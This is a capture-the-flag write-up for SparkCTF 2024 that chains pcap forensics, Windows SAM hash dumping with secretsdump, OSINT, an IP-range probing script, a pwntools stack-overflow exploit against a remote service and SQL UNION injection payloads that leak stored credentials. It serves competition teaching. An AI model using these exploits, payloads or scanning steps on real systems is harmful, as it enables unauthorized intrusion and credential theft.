Try   HackMD

title: 'Hacking Scenario - SparkCTF 2024'

Hacking Scenario - SparkCTF 2024

Table of Contents

Scenario Description

TASK 0:

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Basically you are familiar with investigation scenarios where you have to put pieces together in order to hunt down the threat actor, this one is different, this one is that type of scenarios where you help the threat actor, starting from the bottom, the company you are attacking today is called Spark Open Source Projects ©.

I Smelled It For You:

Task 1:

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Attachemeent: NiceSmell.pcapng

By reading the description we can get an idea about the task, Peer-To-Peer File transfer. First, we start with enabling all protocols, because some of them aren't enable by default in wireshark.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Now after getting a quick first look at the captured packets. We can notice some remarkable protocols. BT-Tracker, BT-DHT and Bitorrent. We are looking for the sender ID and as we know bitorrent is peer-to-peer. So Basically how does bitorrent work? If we parse a torrent file, we get the URL of the tracker, the creation date, the name and size of the file, and alot of raw data containing SHA-1 hashes of each piece, which are equally-sized parts of the file we want to download. The exact size of a piece varies between torrents, but they are usually somewhere between 256KB and 1MB. Which means large files can be devided into thousands of parts. then each part gets downloaded from available peers then check them against the hashes from our torrent file, assemble them together, and finally we’ve got a file!

But what's a Tracker ?
So basically a tracker is like a list of people you share the torrent with which we get our peers from.
By making a simple GET request to the Tracker URL with a few query parameters.
info_hash, peer_id, port, uploaded, downloaded, compact, left.
In order to start downloading a file from a peer.

  1. A TCP connection with the peer is established.
  2. A Two-Way-Handshake is performed,
  3. Exchanging messages in order to start downloading the correct file.

So we check the Handshake in order to retrieve the Peer-ID.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

We check The first packet.
The Client (Reciever) requested the file from a specific peer, that's what we are interested in The sender.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

And That's the flag: SparkCTF{2d7142343435302d3679566652664e752e777e32}


Files For A reason

Task 2:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Attachemeent: Zip_pass_is_1337.zip

This Description implies that the file that was retrieved from the torrent is a "sensitive artifact". Artifacts are forensic objects that have some forensic value. Any object that contains some data or evidence of something that has occurred like logs, registery hives, and many more. we are tasked to retrieve the signature of the hidden file. in other words it's SHA256 hash that's specified in the flag format.

After Uzipping we get a spark.AD1 file.
AD1 files are logical images similar to a container. They are used to hold file-level acquisitions.

Let's fire up FTK-Imager and load the file.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

As we all know, most people save their files in their Desktops so that's going to be our first Go-To.
Desktop Path:

=@%SystemRoot%\User\User_Name\Desktop

If we check our Users Directory we will be met with the following directories:

  • Administrator
  • All Users (empty)
  • Default
  • Default_User (empty)
  • Public

by checking the Administrator's Desktop we find two .eml files, Manual.eml and Reply.eml

Let's Check the first file, Manual.eml

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

The mail implies that, a manual has been sent as an attachemment under the name Delivery.zip. But it seems to be protected with a password. And there's a hint about what the password might be.
The HASH of the password you use for EVERYTHING .
which means that our dear user, uses only one password for everything which is bad practice.
Now we have two tasks at hand.

  1. Retrieve the file
  2. Retrieve the hash for the password

Let's check the other file Reply.eml
it seems to be the duplicate of manual.eml so there's nothing interesting.

1) Find Delivery.zip

Delivery.zip is located under
=@%SystemRoot%\User\Default\Documents\

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Then Extract it.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

2) Find The password

It also includes data about the recently used files, programs used, or devices connected to the system

The Windows registry consists of Keys and Values.

  • Folders: Registry Keys
  • Files within the folders : Values

A registry hive is a group of keys, subkeys and values stored within a single file on the disk. and they get loaded into memory when the operating system is started or a user logs in.

  • Registry Structure:

    Windows Registry consists of the following 5 root keys:

    1. HKEY_CURRENT_USER
    2. HKEY_USERS
    3. HKEY_LOCAL_MACHINE
    4. HKEY_CLASSES_ROOT
    5. HKEY_CURRENT_CONFIG

We are interested in HKEY_LOCAL_MACHINE which contains SAM and SYSTEM which contain the credentials for all the users in this machine.
The Registry is located under this directory:
=@%SystemRoot%\Windows\System32\config\

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Now we retrieved SAM and SYSTEM let's retrieve the password.
for this we can use impacket-secretsdump which is pre-installed in kali linux, or we can use the script secretsdump.py from impacket's github.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

The password is the nthash for Administrator. 2bd9ee65238cdd1279c3c825ed9b3479
now we use to unzip Delivery.zip
Then we get the SHA256 hash of the file inside it which is Wcam-2024.pdf

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Flag: SparkCTF{32ba1fd8c988a15ccad6ab95a6fdf93ce915071ec59ce093bf700ba736bf06a2}


Open Source? Where?

task 3 :

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

After cracking the zip's password and checking this file :

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →


Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Obviously there are some usefull and useless information, our main focus is to determine an IP address as the flag format requires, since the tag is "OSINT" and there is a hint on the bottom right of the PDF that says "Spark open-source projects", we can, by hacker nature, asumme that github would lead somewhere, and in fact it doest, searching for "spark wcam-2024"

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Take me to the repo ↗

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

The repo has a README.md file, the full manual and the firmware of the camera, seems interesting, but remember we are seeking the IP of the device, so after checking page 3 on the manual:

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

This is the algorithm for translating the IP to NID/network ID, so in order to get the IP weed to reverse this simple algorithm, so first we take the Network ID: 27-de6a-Qxx-3

nid = "27-de6a-Qxx-3"
nid_parts = nid.split("-")
first = str(int(nid_parts[0]) ^15)
second = str(int(nid_parts[1],16)^0xdead)
third = str(ord(nid_parts[2][0]))
print(first + '.' + second + '.' + third)
# output : 20.199.81

as for the fourth part, there are quite a few possiblites so chatgpt wrote me this small script that will test if a machine has port 80 open, as the device has a web interface(mentionned in the full manual page 4)

import requests

# Define the base IP address
base_ip = "20.199.81."

# Loop through numbers from 1 to 255
for i in range(1, 256):
    # Check if the number leaves a remainder of 3 when divided by 12
    if i % 12 == 3:
        # Concatenate the number to the base IP address
        ip_address = base_ip + str(i)
        print(ip_address)
        # Send a request to the IP address
        try:
            response = requests.get("http://" + ip_address)
            print(f"IP Address: {ip_address}, Response Code: {response.status_code}")
        except:
            pass
        # Print the response code
        print("next")

Result :

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Flag : SparkCTF{20.199.81.207}


Jump to leaks

task 4 :

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Connecting to that port takes us to this interface :

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

The fourth option seems tempting also its the only one that has an input funcionality :

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

tho we need to understand how the binary works first before performing any attack, the task can't be solved with out at least reversing the binary behind this. Back to the github repo, along with the full manual, there is a firmware for the device, and for sure the firmware would contain the filesystem, this article helps a lot when it comes to reversing and extracting the file system.

The home director, after extracting the squash file system, has a manual.md file with the following content :

### Spark-wcam-2024

Product Overview:
1. IR LEDs

2. Cameras Lens

3. Blue/Red Indicator Lights

4. Micro SD Card Slot

5. Power Switch

6. Reset Button

7. USB Port

Get Camera Ready:

• Please make sure the camera is fully charged and the Micro SD card has been formatted 
already and is securely fitted into the camera’s SD card slot, or it will not work. We 
recommend that you use a SDHC Class 10 Micro SD card.

• Slide the Power Switch to the ON position. When the red indicator light goes out and 
the blue one remains solid, it means the camera’s Wi-Fi signal is ready.

• If you need the camera to work 7/24 hours, connect it to an outlet AC power supply 
using the USB cable and DC 5V power adapter included. Once the camera is connected to 
outlet AC power supply, the blue or red indicator light will come on and remain solid 
whether the Power Switch lies at the ON position or not.

• Using the CLI configuration interface might be powerfull but limited as it still under 
development, we recommend using the web interface, also we recommend changing the default 
password found in the `old.txt` file, it is used for both CLI and WEB interface.   

### FAQ
• Why camera's old logs are not found in my `logs.txt` files?

There are 4 solutions to this question:

1. The firmware you have here is just a sample, general architecture of how the filesystem 
on all the cameras looks like, if the one here is empty, thats casual, get with it.

2. Keep asking questions like these and call the author for help, he might help you and kick
you out of this competition as you seem clueless about what even a CTF is

3. Shut off your brain in case of emergency, you might get lucky and once turned back on 
it starts working well.

4. The camera is fully functional, until you break it.

• Why does the camera's web interface is requesting a login/password?

The firmware is open-source, security is not.

• Why does the `old.txt` file empty?

Are you even reading any of this?

• Can I nmap?

NO!

So there are files mentionned in the manual like logs.txt and old.txt which are requested by the service running on port 7005, for example the second option request the link.txt:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

An assumption might cross your mind, the files are in the same directory as the binary right?, now searching for the links.txt file using this command :

kali@kali$ find . -name logs.txt -type f

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Heading over to that directory, there is a bunch of binaries, the binary requests 3 files, so using strings and grep we can find the correct binary :

kali@kali$ strings -f * | grep 'links.txt'

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

so server is the correct binary(run it in case of doubt)

file command :

image

checksec :

image

  • reversing the binary :
    main:
    image

    menu:
int menu()
{
  int v1; // [esp+Ch] [ebp-Ch] BYREF

  printf("%s\x1B[1m                           __ __ ___ __  _ _  _  \n", "\x1B[36m");
  puts("                          |  V  | __|  \\| | || | ");
  puts("                          | \\_/ | _|| | ' | \\/ | ");
  printf("                          |_| |_|___|_|\\__|\\__/\x1B[m%s\n", "\x1B[0m");
  puts("                          ");
  printf("                               %s1)> Specs%s\n", "\x1B[35m", "\x1B[0m");
  printf("                               %s2)> Saved Shots%s\n", "\x1B[33m", "\x1B[0m");
  printf("                               %s3)> Logs%s\n", "\x1B[32m", "\x1B[0m");
  printf("                               %s4)> Reset Config Pass%s\n", "\x1B[34m", "\x1B[0m");
  printf("                              %s99)> Exit%s\n", "\x1B[31m", "\x1B[0m");
  printf("\n                             \x1B[1m<INPUT>\x1B[m =  ");
  __isoc99_scanf("%d", &v1);
  if ( v1 == 99 )
    return out();
  if ( v1 <= 99 )
  {
    if ( v1 == 4 )
      return pass_reset();
    if ( v1 <= 4 )
    {
      switch ( v1 )
      {
        case 3:
          return logs();
        case 1:
          return specs();
        case 2:
          return imgs();
      }
    }
  }
  return printf("INVALID ");
}

pass_reset():

int pass_reset()
{
  char v1[20]; // [esp+0h] [ebp-18h] BYREF

  printf(
    "\n"
    "                 This is the reset your pass interface\n"
    "        the password is used for both this and the \x1B[1m%sWEB%s\x1B[m interface\n",
    "\x1B[36m",
    "\x1B[0m");
  printf("        Enter Your Old Password :\n       >");
  __isoc99_scanf("%s", v1);
  return ModifyPass();
}

functions

image
authority_checker():

int __cdecl authority_checker(int a1)
{
  printf("\n\x1B[1m%s[!] Checking Auth Status ...%s\x1B[m\n", "\x1B[31m", "\x1B[36m");
  if ( a1 != 0xDEADFACE )
    return printf("\n%s\x1B[1m[X]\x1B[m %sAuthority Is \x1B[1mNOT Set\x1B[m\n%s", "\x1B[31m", "\x1B[31m", "\x1B[0m");
  printf("%s\x1B[1m[X]\x1B[m %sAuthority Is \x1B[1mSet\x1B[m\n%s", "\x1B[32m", "\x1B[32m", "\x1B[0m");
  return printFileContent("old.txt");
}  

based on the information gathered from reversing the binary, we have to make a jump to the authority_checker function, rewrite the first parameter to the value 0xDEADFACE and the password will be printed.

solver :

from pwn import * 

p = remote("20.199.81.207",7005)

win = 0x080492e6

payload = cyclic(16+12)

payload += p32(win)

payload += p32(0x0)

payload += p32(3735943886)

print(p.clean().decode())

p.sendline(b'4')

print(p.clean().decode())

p.sendline(payload)

p.interactive()

Result :

image

Flag : SparkCTF{t2jTmg2Vp548SX8P}

At least I'm web

image

base on the manual found on the home directory, the login for the web app is the combo camera:t2jTmg2Vp548SX8P

lets try it :

image

and it worked :

image

the logs page is the following :

image

it has this feature of searching through the logs, the logs must be stored somewhere, a database for example, but thats an assumtion we will check for later, as for now, the source code must be in the firmware too, but how to find it? well the path to the logs page is \logs, so another file command :

kali@kali$ find . -name logs* -type f

image

heading over to that directory, multiple files can be found :

image

the main file app.py has the source code for the app, but the interesting part is found in dbhelper.py :

───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: dbHelper.py
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1import sqlite3
   2from dotenv import load_dotenv
   3import os
   45   │ load_dotenv()
   67class DBHelper():
   89def __init__(self, dbname="webcam.sqlite"):
  10   │         self.dbname = dbname
  11   │         self.conn = sqlite3.connect(dbname)
  1213def setup(self):
  14   │         stmt = "CREATE TABLE IF NOT EXISTS webcam_users (id integer primary key, username text, password text, service text, port text)"
  15   │         self.conn.execute(stmt)
  16   │         stmt = "CREATE TABLE IF NOT EXISTS webcam_logs (id integer primary key, log text, size text, name text, status text)"
  17   │         self.conn.execute(stmt)
  18   │         stmt = f"INSERT INTO webcam_users (username, password, service, port) VALUES ('camera', '{os.getenv('ADMIN_PASSWORD')}','http','80')"
  19   │         self.conn.execute(stmt)
  20   │         stmt = f"INSERT INTO webcam_users (username, password, service, port) VALUES ('{os.getenv('USRNM')}', '{os.getenv('PSSD')}','{os.getenv('SRVC
       │ ')}','{os.getenv('PRT')}')"
  21   │         self.conn.execute(stmt)
  22with open('logs.txt','r') as f:
  23   │             lines = f.readlines()
  24for line in lines:
  25   │                 stmt = f"INSERT INTO webcam_logs (log, size, name, status) VALUES ('{line.split('|')[0]}','{line.split('|')[1].split(':')[1]}','{line
       │ .split('|')[2].split(':')[1]}','{line.split('|')[3].split(':')[1].strip()}')"
  26   │                 self.conn.execute(stmt)
  27   │         self.conn.commit()
  2829"""
  30   │     NOT FULL, BUT FUNCTIONAL ;).

so the database is sqlite and there is another table called webcam_users with 4 columns username, password, service and port, trying to perform an union attack to pivot from a table to the other might work, to check how many columns the first query fetches I used this payload :

' union select null,null,null,null,null-- -

and to leak everything out of the second table I used this payload :

' union select null,username,password,service,port from webcam_users-- -

Result :

image

we found the creds for another service running on port 1338 and its called shell, using netcat we provide the given information and then :

image

Spark{H0p1ng_7h3_ch41n_w4s_FUN!_4_Y0u_H3CK3R}

Appendix and FAQ

Find this document incomplete? Leave a comment!
for more info DM us on discord "alternox3051" and "rudy4487".

tags: SparkCTF2024 Hacking-Scenario